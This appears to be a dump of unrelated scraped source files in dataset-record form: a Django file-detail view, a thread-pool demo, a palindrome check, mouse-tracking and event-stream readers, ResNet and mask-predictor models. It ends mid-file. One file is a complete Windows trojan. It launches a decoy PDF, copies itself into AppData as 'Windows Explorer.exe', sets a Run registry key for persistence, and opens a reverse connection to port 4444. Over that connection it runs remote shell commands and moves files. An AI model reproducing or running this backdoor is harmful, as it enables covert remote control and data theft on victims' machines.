\"\"\"get\n\n Args:\n request:\n pk:\n\n Returns:\n \"\"\"\n\n try:\n # Get blob\n blob_object = blob_api.get_by_id(pk, request.user)\n try:\n acl_api.check_can_write(blob_object, request.user)\n can_write = True\n except AccessControlError:\n can_write = False\n # Init context\n context = {\"blob\": blob_object, \"can_write\": can_write}\n # Init modals\n modals = [\n \"core_main_app/user/blob/list/modals/add_metadata.html\",\n ]\n # Init assets\n assets = {\n \"js\": [\n {\n \"path\": \"core_main_app/user/js/blob/detail.js\",\n \"is_raw\": False,\n },\n {\n \"path\": \"core_main_app/user/js/blob/blob_metadata.js\",\n \"is_raw\": False,\n },\n ],\n \"css\": [\n \"core_main_app/common/css/select.css\",\n ],\n }\n\n context.update({\"page_title\": \"File Metadata\"})\n\n return self.common_render(\n request,\n self.template,\n modals=modals,\n assets=assets,\n context=context,\n )\n except exceptions.DoesNotExist:\n error_message = \"Blob not found\"\n status_code = 404\n except AccessControlError:\n error_message = \"Access Forbidden\"\n status_code = 403\n except Exception as e:\n error_message = str(e)\n status_code = 400\n\n return self.common_render(\n request,\n \"core_main_app/common/commons/error.html\",\n context={\n \"error\": \"Unable to access the requested file \"\n + f\": {error_message}.\",\n \"status_code\": status_code,\n \"page_title\": \"Error\",\n },\n )\n","sub_path":"core_main_app/views/common/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":35208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"238268540","text":"from concurrent.futures import ThreadPoolExecutor\nimport threading\nimport time\n\n\n# 定义一个准备作为线程任务的函数\ndef action(max):\n my_sum = 0\n for i in range(max):\n print(threading.current_thread().name + ' ' + str(i))\n my_sum += i\n return my_sum\n\n\n# 创建一个包含 2 条线程的线程池\nwith ThreadPoolExecutor(max_workers=2) as pool:\n # 向线程池提交一个 task, 50 会作为 action() 函数的参数\n future1 = pool.submit(action, 50)\n # 向线程池再提交一个 task, 100 会作为 action() 函数的参数\n future2 = pool.submit(action, 100)\n\n\n def get_result(future):\n print(future.result())\n\n\n # 为 future1 添加线程完成的回调函数\n future1.add_done_callback(get_result)\n # 为 future2 添加线程完成的回调函数\n future2.add_done_callback(get_result)\n print('--------------')\n","sub_path":"疯狂Python讲义/codes/14/14.7/add_done_callback.py","file_name":"add_done_callback.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"259837876","text":"#!/usr/bin/env python\n\nimport socket, os\nimport subprocess, json\nimport base64\nimport sys, shutil\n\nclass Backdoor:\n\n\tdef __init__(self, ip, port):\n\t\t\"\"\"Connect to listener server.\"\"\"\n\t\tself.persistence()\n\t\tself.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.connection.connect((ip, port))\n\n\tdef persistence(self):\n\t\texecutable_location = os.environ[\"appdata\"] + \"\\\\Windows Explorer.exe\"\n\t\tif not os.path.exists(executable_location):\n\t\t\tshutil.copyfile(sys.executable, executable_location)\n\t\t\tsubprocess.call('REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v update /t REG_SZ /d \"' + executable_location + '\"', shell=True)\n\n\tdef reliable_send(self, data):\n\t\t\"\"\"Convert data into JSON (a well-defined) object.\"\"\"\n\t\tjson_data = json.dumps(data)\n\t\tself.connection.send(json_data.encode())\n\n\tdef reliable_receive(self):\n\t\t\"\"\"Convert JSON object back to its original type.\n\t\tReceives a byte object from self.connection.recv(1024).\"\"\"\n\t\tjson_data = b\"\"\n\t\twhile True:\n\t\t\ttry:\n\t\t\t\tjson_data += self.connection.recv(1024)\n\t\t\t\t# json_data += received_data.decode()\n\t\t\t\treturn json.loads(json_data)\n\t\t\texcept ValueError:\n\t\t\t\tcontinue\n\n\tdef execute_system_command(self, command):\n\t\t\"\"\"Method check_output can take a string or a list of strings\"\"\"\n\t\treturn subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL)\n\n\tdef traverse_file_system(self, path):\n\t\tos.chdir(path)\n\t\treturn \"Changing working directory to \" + path\n\n\tdef read_files(self, path):\n\t\t\"\"\"Read file as binaries with base 64 encoding.\"\"\"\n\t\twith open(path, \"rb\") as file:\n\t\t\treturn base64.b64encode(file.read())\n\n\tdef download_file(self, path, content):\n\t\t\"\"\"Download a file\"\"\"\n\t\twith open(path, \"wb\") as file:\n\t\t\tfile.write(base64.b64decode(content))\n\t\t\treturn \"Upload successful!\"\n\n\tdef run(self):\n\t\twhile True:\n\t\t\tcommand = self.reliable_receive()\n\t\t\t#print(\"Received!\")\n\n\t\t\ttry:\n\t\t\t\tif command[0] == \"exit\":\n\t\t\t\t\tself.connection.close()\n\t\t\t\t\t# exit() ; Below is a safer way to exit in a Python program: without showing error messages.\n\t\t\t\t\tsys.exit()\n\t\t\t\telif command[0] == \"cd\" and len(command) > 1:\n\t\t\t\t\tcommand_result = self.traverse_file_system(command[1])\n\t\t\t\telif command[0] == \"download\":\n\t\t\t\t\tcommand_result = self.read_files(command[1]).decode()\n\t\t\t\telif command[0] == \"upload\":\n\t\t\t\t\tcommand_result = self.download_file(command[1], command[2])\n\t\t\t\telse:\n\t\t\t\t\tcommand_result = self.execute_system_command(command).decode()\n\t\t\texcept Exception:\n\t\t\t\tcommand_result = \"Error during command execution.\"\n\n\t\t\t# if isinstance(command_result, str):\n\t\t\tself.reliable_send(command_result)\n\t\t\t# else:\n\t\t\t\t# self.reliable_send(command_result.decode())\n\t\t\t# self.reliable_send(command_result)\n\n#Execute packaged front file\nfile_name= sys._MEIPASS + \"\\sample.pdf\"\nsubprocess.Popen(file_name, shell=True)\n\ntry:\n\tmy_backdoor = Backdoor(\"10.0.2.15\", 4444)\n\tmy_backdoor.run()\nexcept Exception:\n\tsys.exit()","sub_path":"Trojan/trojan_packaged_reverse_backdoor.py","file_name":"trojan_packaged_reverse_backdoor.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"519794100","text":"class Solution:\n\n def is_palindrome(self, s):\n if not s:\n return True\n\n left, right = 0, len(s) - 1\n while left < right:\n while left < right and not s[left].isalnum():\n left += 1\n\n while left < right and not s[right].isalnum():\n right -= 1\n\n if s[left].lower() != s[right].lower():\n return False\n left += 1\n right -= 1\n return True\n\n\n\"\"\"\n\"race a car\"\nleft = 0, right = 9\nleft = 1, right = 8\nleft = 2, right = 7\nleft = 3, right = 6\nleft = 3, right = 5\n\"\"\"\n","sub_path":"125_valid_palindrome/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"47043784","text":"import os, time, pdb\nimport pickle, h5py, json\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\n\n##=====================Import Odor Localization tracks=======================##\ndef read_data(MouseID = 'Mouse_2073', Condition = 'interleaved',DataType = 0):\n # DataType -> 0: Raw Coordinates of Body, Head, & Nose\n # DataType -> 1: Head Coordinates, Head Velocity, Head-Nose Angle, Body-Head angle\n # DataType -> 2: Head Coordinates, Head Velocity, Egocentric Body Angle\n print('Reading Data from {} for the {} condition'.format(MouseID,Condition))\n\n # Parent Data Directory containing mouse tracks\n DataDir = './data/{}/{}/'.format(MouseID,Condition)\n\n # Obtain list of session folders\n SessionDir = os.listdir(DataDir)\n SessionDir.sort(key=int)\n\n #Lists to hold data\n trialsumlist = []\n data_fulllist = []\n total_correct = total_trials = 0\n data_fullarray = np.zeros((1,6))\n trial_lengths = []\n sniff_sess = []\n # Read in files for each session\n for s in SessionDir[:-1]:\n fpath = os.path.join(DataDir,s)\n\n DataFiles = os.listdir(fpath)\n DataFiles.sort()\n # Check to see if trialsummary.txt exists\n if 'trialsummary.txt' not in DataFiles:\n print('Error: trialsummary file not available for session {} of the {}condition'.format(s,Condition))\n continue\n\n # Read trial summary file\n fid = open(os.path.join(fpath,'trialsummary.txt'),'r')\n trsum = pd.read_csv(fid,header = None,delimiter=',')\n fid.close()\n nTrials,nCol = trsum.shape\n\n # Read mouse track files\n flist = ['comx.dat','comy.dat','DLC_headx.dat','DLC_heady.dat','DLC_nosex.dat', \\\n 'DLC_nosey.dat','timestamp.dat']\n # Read arrays into the list fulldata\n fulldata = []\n for fname in flist:\n with open(os.path.join(fpath,fname),'rb') as f:\n fulldata.append(np.fromfile(f,dtype = 'Float64'))\n\n # with open(os.path.join(fpath,'sniff.dat'),'rb') as f:\n # sniff_sess.append(np.fromfile(f,dtype = 'Float64'))\n # Concatenate XY position arrays into a nTimeStep x 6 array\n \n raw_data = np.stack(fulldata[:-1],axis = 1)\n head_coord = np.stack(fulldata[2:4],axis = 1)\n tvec = fulldata[-1]\n nTimeSteps = tvec.shape[0]\n\n #Calculate the velocity of the head\n dx_head = np.insert(np.diff(fulldata[2]).reshape(-1,1),0,0,axis=0)\n dy_head = np.insert(np.diff(fulldata[3]).reshape(-1,1),0,0,axis=0)\n\n # Calculate dx and dy of head-nose and body-head\n dx_NH = np.array(fulldata[4]-fulldata[2]).reshape(-1,1)\n dy_NH = np.array(fulldata[5]-fulldata[3]).reshape(-1,1)\n dx_HB = np.array(fulldata[2]-fulldata[0]).reshape(-1,1)\n dy_HB = np.array(fulldata[3]-fulldata[1]).reshape(-1,1)\n\n #Calculate the angle of the HB segment wrt the horizontal\n phi = np.arctan2(dy_HB,dx_HB)\n indy = np.where(phi<0)[0]\n phi[indy] = phi[indy]+2*np.pi\n\n #Calculate the angle of the NH segment wrt the horizontal\n theta = np.arctan2(dy_NH,dx_NH)\n indy = np.where(theta<0)[0]\n theta[indy] = theta[indy]+2*np.pi\n\n #Calculate body angle\n body_angle = phi - theta + np.pi\n #Get the length of the HB & NH segments\n HB = np.sqrt(dx_HB**2+dy_HB**2)\n NH = np.sqrt(dx_NH**2+dy_NH**2)\n\n #Create array of input data\n if DataType == 0:\n data = raw_data\n elif DataType == 1:\n data = np.hstack((head_coord,dx_head,dy_head,phi,theta))\n elif DataType == 2:\n data_fullarray = np.zeros((1,5))\n data = np.hstack((head_coord,dx_head,dy_head,body_angle))\n\n # #Get x coordinate of body relative to NH axis\n # x_b = np.array([HB[i]*np.cos(np.pi-theta[i]) for i in range(len(HB))]).reshape(-1,1)\n # y_b = np.array([HB[i]*np.sin(np.pi-theta[i]) for i in range(len(HB))]).reshape(-1,1)\n # data = np.hstack((dx_head,dy_head,dx_NH[1:],dy_NH[1:],x_b[1:],y_b[1:]))\n\n # Loop through trials for this session\n for iTrial in range(nTrials):\n # Get the start and end times of the trial\n tstart = trsum.iloc[iTrial,4]\n tend = trsum.iloc[iTrial,5]\n\n # Get indices that correspond to those times\n indy = np.where((tvec>=tstart)&(tvec<=tend))[0]\n \n # Add length of trial\n trial_lengths.append(len(indy))\n \n # Create tuple of trial information and data\n # (sessionTrial#, Condition#, active odor valve, Response, frame# start/end, data\n trialtuple = (iTrial+1,trsum.iloc[iTrial,1],trsum.iloc[iTrial,2],\\\n trsum.iloc[iTrial,3],[indy[0],indy[-1]], data[indy])\n\n # Add data separately to a list and an array\n data_fulllist.append(trialtuple)\n data_fullarray = np.vstack((data_fullarray,data[indy]))\n\n # End of trial loop\n #Prepend Column to indicate session #\n trsum.insert(0, 'Session', int(s)) \n \n # Append trial summary for this session to list\n trialsumlist.append(trsum)\n total_trials += nTrials\n total_correct += sum(trsum[3] == 1)\n # print('Session {}: {} trials'.format(s,nTrials))\n # End of session loop\n #Print Summary Message\n print('{:4d} total trials, {:.1f}% Correct'.format(total_trials,total_correct*100/total_trials))\n\n # Concatenate session trial summary data frames into 1 dataframe\n trsum_all = pd.concat(trialsumlist)\n \n # Select subset of data that is shorter than the 90th percentile\n ptile = .9\n tlens_sorted = sorted(trial_lengths)\n percentile_index = int(np.ceil(ptile*total_trials))\n maxNumFrames = tlens_sorted[percentile_index]\n maxTrialLength = maxNumFrames*0.0125\n\n #Find the indices that correspond to trials longer than the 90th percentile\n short_trial_indices = np.where(np.array(trial_lengths) < maxNumFrames)[0]\n\n #Take only these trials for analysis\n trsum = trsum_all.take(short_trial_indices)\n trsum.reset_index(drop=True,inplace=True)\n data_list = [trtuple for index,trtuple in enumerate(data_fulllist) if index in short_trial_indices]\n\n # Update total Trials\n total_trials = len(data_list)\n total_correct = sum(trsum[3] == 1)\n print('{:4d} trials shorter than {:0.2f}s, {:.1f}% Correct'.format(total_trials,maxTrialLength,total_correct*100/total_trials))\n\n return data_list,trsum,total_trials\n\ndef construct_trans_matrices(arhmm,trMAPs,trans_matrix_mean,trsum,args,Plot_Dir=None):\n\n nTrials = len(trsum)\n used_states = sorted(arhmm.used_states)\n dis_k = len(used_states)\n ##======= Construct transition matrices & State Usages ======##\n # 3-3: Using the MAP-seq's in different conditions, calculate conditional\n # state-usages (% time-steps in each state) in each different condition.\n # 3-4: Using MAP-seqs, calculate the transition matrix for each condition\n timestr = time.strftime('%Y%m%d_%H%M')\n if Plot_Dir is None:\n Plot_Dir = './plots'\n\n fname = 'TransitionMatrices_A{:.0f}_K{:.0f}G{:.0f}_{}.pdf'.format(args['A'],args['K'],args['G'],timestr)\n pdfdoc = PdfPages(os.path.join(Plot_Dir,fname))\n\n # Plot the mean transition matrix calculated from the Gibbs samples\n plot_trans_matrix(trans_matrix_mean, [arhmm.state_usages], dis_k,title='Transition Matrix calculated from Gibbs samples',pdf = pdfdoc)\n # Plot the transition matrix & state usage for the overall ARHMM fit\n plot_trans_matrix(arhmm.trans_distn.trans_matrix, [arhmm.state_usages], dis_k,pdf = pdfdoc)\n\n trans_matrices = [[],[]]\n # Loop over responses\n for resp in Resp_Dict:\n # Loop over active odor port\n for lr in Port_Dict:\n # Calculate transition matrix per condition per response\n cond_trans_matrix = np.zeros((len(Cond_Dict),dis_k,dis_k))\n # Loop over conditions\n for iCond in Cond_Dict:\n # Reset Mask to False\n mask = np.zeros(nTrials, dtype=bool)\n\n # Find the indices of the trsum that correspond to the condition\n indy = np.where((trsum[1] == iCond) & (trsum[2] == lr) & (trsum[3] == resp))\n mask[indy] = True\n # Continue onto next condition if no trials exist\n if sum(mask) == 0:\n continue\n\n # Create a new list based on only that condition\n cond_MAPs = [trMAPs[i].copy() for i in range(nTrials) if mask[i]]\n\n # Calculate condition state usages\n cond_state_usages = np.array([[sum(MAP == s)/len(MAP) for s in used_states] for MAP in cond_MAPs])\n\n # Loop through the trials of this condition/response type\n for iTrial, MAP in enumerate(cond_MAPs):\n for t in range(len(MAP)-1):\n # Get the state at time t & t+1\n s1,s2 = MAP[t],MAP[t+1]\n # Get the indices associated with used_states\n i1 = np.where(used_states == s1)\n i2 = np.where(used_states == s2)\n cond_trans_matrix[iCond,i1,i2] += 1\n\n # Divide each row by the number of transitions from that state\n tot_trans = np.sum(cond_trans_matrix[iCond],axis = 1)\n for i,rowsum in enumerate(tot_trans):\n if rowsum == 0:\n cond_trans_matrix[iCond,i,:] = 0\n else:\n cond_trans_matrix[iCond,i,:] = cond_trans_matrix[iCond,i,:]/rowsum\n\n title = '{} Condition, {} Active Odor Port, {} Response'.format(Cond_Dict[iCond],Port_Dict[lr],Resp_Dict[resp])\n # Plot transition matrix and state usage for this condition\n plot_trans_matrix(cond_trans_matrix[iCond], cond_state_usages,dis_k, title = title,pdf = pdfdoc)\n # End of Cond_Dict loop\n trans_matrices[resp].append(cond_trans_matrix)\n # End of Pord_Dict loop\n # End of Resp_Dict loop\n pdfdoc.close()\n\n return trans_matrices","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":10294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"473133058","text":"import chainer\nimport chainer.functions as F\nimport chainer.links as L\nimport math\n\n\nclass ResBlock(chainer.Chain):\n def __init__(self, n_in, n_out, stride):\n w = math.sqrt(2)\n super(ResBlock, self).__init__(\n conv1=L.Convolution2D(n_in, n_out, ksize=3,\n stride=stride, pad=1, wscale=w),\n bn1=L.BatchNormalization(n_out),\n conv2=L.Convolution2D(n_out, n_out, ksize=3,\n stride=1, pad=1, wscale=w),\n bn2=L.BatchNormalization(n_out),\n )\n\n def __call__(self, x, train):\n h1 = F.relu(self.bn1(self.conv1(x), test=not train))\n h2 = self.bn2(self.conv2(h1), test=not train)\n if x.data.shape != h2.data.shape:\n xp = chainer.cuda.get_array_module(x.data)\n batch, in_channels, height, width = x.data.shape\n pad_channels = h2.data.shape[1] - in_channels\n pad = xp.zeros(shape=(batch, pad_channels, height, width), dtype=xp.float32)\n pad = chainer.Variable(pad, volatile=x.volatile)\n x = F.concat((pad, x))\n if x.data.shape[2:] != h2.data.shape[2:]:\n x = F.average_pooling_2d(x, ksize=1, stride=2)\n return F.relu(h2 + x)\n\n\nclass ResNet(chainer.Chain):\n def __init__(self, n=18):\n super(ResNet, self).__init__()\n # 1st convolutional layer and batch normalization layer\n w = math.sqrt(2)\n links = [('conv1',\n L.Convolution2D(3, 16, ksize=3,\n stride=1, pad=0, wscale=w))]\n links += [('bn1',\n L.BatchNormalization(16))]\n # 1st stack of residual layers\n for i in range(n):\n links += [('res{}'.format(len(links)),\n ResBlock(16, 16, 1))]\n links += [('_maxpool{}'.format(len(links)),\n F.MaxPooling2D(ksize=2, stride=None, pad=0,\n cover_all=False, use_cudnn=True))]\n # 2nd stack of residual layers\n for i in range(n):\n links += [('res{}'.format(len(links)),\n ResBlock(32 if i > 0 else 16, 32, 1 if i > 0 else 2))]\n links += [('_maxpool{}'.format(len(links)),\n F.MaxPooling2D(ksize=2, stride=None, pad=0,\n cover_all=False, use_cudnn=True))]\n # 3rd stack of residual layers\n for i in range(n):\n links += [('res{}'.format(len(links)),\n ResBlock(64 if i > 0 else 32, 64, 1 if i > 0 else 2))]\n links += [('_apool{}'.format(len(links)),\n F.AveragePooling2D(ksize=6, stride=1, pad=0,\n cover_all=False, use_cudnn=True))]\n # fully connected layer\n links += [('fc{}'.format(len(links)),\n L.Linear(None, 20))]\n # register links to the chain except pooling layers\n for link in links:\n if not link[0].startswith('_'):\n self.add_link(*link)\n self.forward = links\n self.train = True\n\n def __call__(self, x):\n h = x\n for name, f in self.forward:\n if 'res' in name:\n h = f(h, self.train)\n else:\n h = f(h)\n # print(\"{0:<10} layer => size {1}\".format(name, h.shape))\n return h\n\n def validation(self, x):\n self.train = False\n y = self.__call__(x)\n self.train = True\n return y\n","sub_path":"resnet.py","file_name":"resnet.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"235341634","text":"#!/usr/bin/env python\n\ndata_type = ['train_', 'val_', 'test_']\n\nl_root = \"/local2/home/tong/fashionRecommendation/models/fashionNet_2/data_prep/\"\ng_root = '/local2/home/tong/fashionRecommendation/models/fashionNet_2/data_prep/general_list/'\nsize_root = '/local2/home/tong/fashionRecommendation/models/fashionNet_2/training_record/all_user_test/'\n\nfor_length = open(g_root+'tuples_test_posi.txt').readlines()\nuser_num = 1+int(for_length[-1].strip('\\r\\n').split(' ')[0])\n\nfor i in range(0,len(data_type)):\n\tall_user_tupleSize = open(size_root+'data_size/all_'+data_type[i]+'size.txt','w') # open all_train/val/test_size.txt\n\tfor u in range(0,user_num):\n\t\ttemp_data = open(l_root+\"imgdata_list/\"+data_type[i]+str(u)+'_top.txt').readlines()\n\t\ttemp_size = len(temp_data)\n\t\tall_user_tupleSize.write(str(temp_size)+'\\r\\n')\n\tall_user_tupleSize.close()","sub_path":"models/fashionNet_2/training_record/all_user_test/data_size/data_size.py","file_name":"data_size.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"217561970","text":"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.io import fits\n\n\n\nplt.xkcd()\nhdus = fits.open('IC0540.p_e.rad_SFH_lum_Mass.fits.gz')\nimg = hdus[0].data\nplt.imshow(img)\nimg = hdus[0].data\nplt.imshow(img)\nplt.clf()\nplt.imshow(img, origin = 'lower')\nplt.colorbar()\nimg.shape\nimg.min()\n\nplt.figure()\nimg_mask= np.ma.masked_less_equal(img, -5.0)\nplt.imshow(img_mask, origin = 'lower')\nplt.colorbar()\nplt.title('IC0540 Lum Mass Map') \nimg_mask.min()\nimg_masked= img_mask*0.282051282\n\n\nplt.figure()\nplt.ylabel('Log(M/Mo)')\nplt.xlabel('Log(Age/year)')\nplt.yscale('log')\nplt.title('IC0540 Mass Grow History Temporal')\nx = linspace (0, 11, 39)\n\n\nt0= img_masked[0,:]\nplt.plot(x,t0)\nt1= img_masked[1,:]\ns1= t1+ t0\nplt.plot(x,s1)\nt2= img_masked[2,:]\ns2= t2+ s1\nplt.plot(x,s2)\nt3= img_masked[3,:]\ns3= t3+ s2\nplt.plot(x,s3)\nt4= img_masked[4,:]\ns4= t4+ s3\nplt.plot(x,s4)\nt5= img_masked[5,:]\ns5= t5+ s4\nplt.plot(x,s5)\nt6= img_masked[6,:]\ns6= t6+ s5\nplt.plot(x,s6)\nt7= img_masked[7,:]\ns7= t7+ s6\nplt.plot(x,s7)\nt8= img_masked[8,:]\ns8= t8+ s7\nplt.plot(x,s8)\nt9= img_masked[9,:]\ns9= t9+ s8\nplt.plot(x,s9)\nt10= img_masked[10,:]\ns10= t10+ s9\nplt.plot(x,s10)\n\n\n","sub_path":"AGNS/plot_mgh_temporal_final.py","file_name":"plot_mgh_temporal_final.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"496372370","text":"'''\r\nprogrm to fid mediam of a list of integers using threshold values. A threshold (1 or 0)\r\nindicates whether the number in list is greater or less than the index. Median is found by summing\r\nall threshold values. \r\n'''\r\n\r\ndef threshold_median(list_):\r\n scores_list = []\r\n for i in range(1, max(list_)+1):\r\n score = []\r\n for j in range(len(list_)):\r\n if list_[j] >= i:\r\n score.append(1)\r\n else:\r\n score.append(0)\r\n if score.count(1)>=score.count(0):\r\n scores_list.append(1)\r\n else:\r\n scores_list.append(0)\r\n median = sum(scores_list)\r\n print(median)\r\n return median\r\n\r\nlist_ = [1,3,2,6,4,7,5,8,9]\r\nthreshold_median(list_)\r\n \r\n \r\n","sub_path":"threshold median.py","file_name":"threshold median.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"15399563","text":"import numpy as np\nfrom .DVSStream import DVSStream;\nfrom .ATISStream import ATISStream,ATIStype;\nfrom .AMDStream import AMDStream;\nfrom .oneDStream import oneDStream;\nfrom .ColorStream import ColorStream;\nfrom .GenericStream import GenericStream;\nfrom .LiquidStream import LiquidStream;\nfrom .tools import FormatError;\n\ndef readStream(filename):\n ESfile = open(filename,'rb');\n ESdata = ESfile.read();\n ESfile.close();\n if ESdata[0:12] != b'Event Stream':\n print(\" This is not an EventStream file, returning null\");\n return None;\n \n\n version = str(ESdata[12]) + '.' + str(ESdata[13]) + '.' + str(ESdata[14]);\n eventType = ESdata[15];\n\n def readGenericStream():\n f_cursor = 15;\n events = [];\n currentTime = 0;\n while(f_cursor < end):\n byte = ESdata[f_cursor];\n if byte & 0xfe == 0xfe:\n if byte == 0xfe : #Reset event\n pass;\n else : #Overflow event\n currentTime += 0xfe;\n else :\n currentTime += byte;\n is_last = False;\n size=0;\n i=0;\n while (not is_last):\n f_cursor += 1;\n byte = ESdata[f_cursor];\n is_last = True*(byte&0x01);\n size += (byte >> 1) << (7*i);\n i+=1;\n data = 0;\n k=0;\n for j in range(i):\n f_cursor += 1;\n byte = ESdata[f_cursor];\n data += byte << (7*k);\n k+=1;\n events.append((data, currentTime));\n f_cursor+=1;\n return GenericStream(events, version);\n def readDVSStream():\n width = ESdata[17] << 8 + ESdata[16];\n height = ESdata[19] << 8 + ESdata[18];\n f_cursor = 20;\n end = len(ESdata);\n events = [];\n currentTime = 0;\n while(f_cursor < end):\n byte = ESdata[f_cursor];\n if byte & 0xfe == 0xfe:\n if byte == 0xfe : #Reset event\n pass; \n else : #Overflow event\n currentTime += 0xfe;\n\n else :\n f_cursor +=1;\n byte1 = ESdate[f_cursor];\n f_cursor +=1;\n byte2 = ESfile[f_cursor];\n f_cursor +=1;\n byte3 = ESfile[f_cursor];\n f_cursor +=1;\n byte4 = ESfile[f_cursor];\n currentTime += byte >> 1;\n x = ((byte2 << 8) | byte1);\n y = ((byte4 << 8) | byte3);\n IsIncrease = (byte & 0x01);\n events.append((x,y,isTc,currentTime));\n f_cursor+=1;\n return DVSStream(width, height, events, version);\n\n\n def readATISStream():\n width = ESdata[17] << 8 + ESdata[16];\n height = ESdata[19] << 8 + ESdata[18];\n f_cursor = 20;\n end = len(ESdata);\n events = [];\n currentTime = 0;\n while(f_cursor < end):\n byte = ESdata[f_cursor];\n if byte & 0xfc == 0xfc:\n if byte == 0xfc : #Reset event\n pass; \n else : #Overflow event\n currentTime += (byte & 0x03) *64;\n\n else :\n f_cursor +=1;\n byte1 = ESdate[f_cursor];\n f_cursor +=1;\n byte2 = ESfile[f_cursor];\n f_cursor +=1;\n byte3 = ESfile[f_cursor];\n f_cursor +=1;\n byte4 = ESfile[f_cursor];\n currentTime += (byte >> 2);\n x = ((byte2 << 8) | byte1);\n y = ((byte4 << 8) | byte3);\n isTc = (byte & 0x01);\n p = ((byte & 0x02) >> 1);\n events.append((x,y,p,isTc,currentTime));\n f_cursor+=1;\n return ATISStream(width, height, events, version);\n\n\n def readAMDStream():\n f_cursor = 16;\n end = len(ESdata);\n events = [];\n currentTime = 0;\n while(f_cursor < end):\n byte = ESdata[f_cursor];\n if byte & 0xfe == 0xfe:\n if byte == 0xfe: #Reset event\n pass; \n else : #Overflow event\n currentTime += 0xfe;\n\n else :\n f_cursor +=1;\n byte1 = ESdate[f_cursor];\n f_cursor +=1;\n byte2 = ESfile[f_cursor];\n f_cursor +=1;\n byte3 = ESfile[f_cursor];\n currentTime += byte;\n x = byte1;\n y = byte2;\n s = byte3;\n events.append((x, y, s, currentTime));\n f_cursor+=1;\n return AMDStream(events,version);\n\n def readColorStream():\n width = ESdata[17] << 8 + ESdata[16];\n height = ESdata[19] << 8 + ESdata[18];\n f_cursor = 20;\n end = len(ESdata);\n events = [];\n currentTime = 0;\n while(f_cursor < end):\n byte = ESdata[f_cursor];\n if byte & 0xfe == 0xfe:\n if byte == 0xfe : #Reset event\n pass; \n else : #Overflow event\n currentTime += 0xfe;\n\n else :\n f_cursor +=1;\n byte1 = ESdate[f_cursor];\n f_cursor +=1;\n byte2 = ESfile[f_cursor];\n f_cursor +=1;\n byte3 = ESfile[f_cursor];\n f_cursor +=1;\n byte4 = ESfile[f_cursor];\n f_cursor +=1;\n byte5 = ESfile[f_cursor];\n f_cursor +=1;\n byte6 = ESfile[f_cursor];\n f_cursor +=1;\n byte7 = ESfile[f_cursor];\n currentTime += byte;\n x = (byte2 << 8 | byte1);\n y = (byte4 << 8 | byte3);\n r = byte5;\n g = byte6;\n b = byte7;\n events.append((x, y, r, g, b, currentTime));\n f_cursor +=1;\n return ColorStream(width, height, events, version);\n\n\n readStream = [ readGenericStream, readDVSStream, readATISStream, readAMDStream, readColorStream];\n \"\"\"Stream types 0 1 2 3 4 \"\"\"\n\n Stream = readStream[eventType]();\n return Stream;\n \n\n","sub_path":"src/readStream.py","file_name":"readStream.py","file_ext":"py","file_size_in_byte":6559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"20922360","text":"#\n# @lc app=leetcode id=154 lang=python3\n#\n# [154] Find Minimum in Rotated Sorted Array II\n#\nclass Solution:\n def findMin(self, nums: List[int]) -> int:\n i, j = 0, len(nums)-1\n while i <= j:\n while i < j and nums[i] == nums[i+1]:\n i+=1\n # print(\"i \",i)\n while i < j and nums[j] == nums[j-1]:\n j-=1\n # print(\"j \",j)\n if i == j: return nums[i]\n if nums[i] < nums[j]: return nums[i]\n mid = (i+j+1)//2\n # print(\"mid \", mid)\n if nums[mid] < nums[mid-1]: \n return nums[mid]\n elif nums[mid] > nums[mid+1]:\n return nums[mid+1]\n\n if nums[mid] < nums[i]:\n j = mid-1\n elif nums[mid] > nums[j]:\n i = mid+1\n else:\n return nums[i]\n \n \n\n\n","sub_path":"154.find-minimum-in-rotated-sorted-array-ii.py","file_name":"154.find-minimum-in-rotated-sorted-array-ii.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"590002578","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport json\nimport math\n\n\nclass MaskPredictor(nn.Module):\n def __init__(self, args):\n super(MaskPredictor, self).__init__()\n self.in_dim = args.feat_dim\n self.args = args\n self.down_sampling_rate = args.down_sampling_rate\n\n self.fc1 = nn.Conv2d(self.in_dim, self.args.num_base_class + 1, kernel_size=3, stride=1, padding=1)\n\n self.base_classes = json.load(open('data/ADE/ADE_Origin/base_list.json', 'r'))\n\n @staticmethod\n def compute_anchor_location(anchor, scale, original_scale):\n anchor = np.array(anchor.detach().cpu())\n original_scale = np.array(original_scale)\n scale = np.array(scale.cpu())\n anchor[:, 2] = np.floor(anchor[:, 2] * scale[0] * original_scale[0])\n anchor[:, 3] = np.ceil(anchor[:, 3] * scale[0] * original_scale[0])\n anchor[:, 0] = np.floor(anchor[:, 0] * scale[1] * original_scale[1])\n anchor[:, 1] = np.ceil(anchor[:, 1] * scale[1] * original_scale[1])\n return anchor.astype(np.int)\n\n @staticmethod\n def 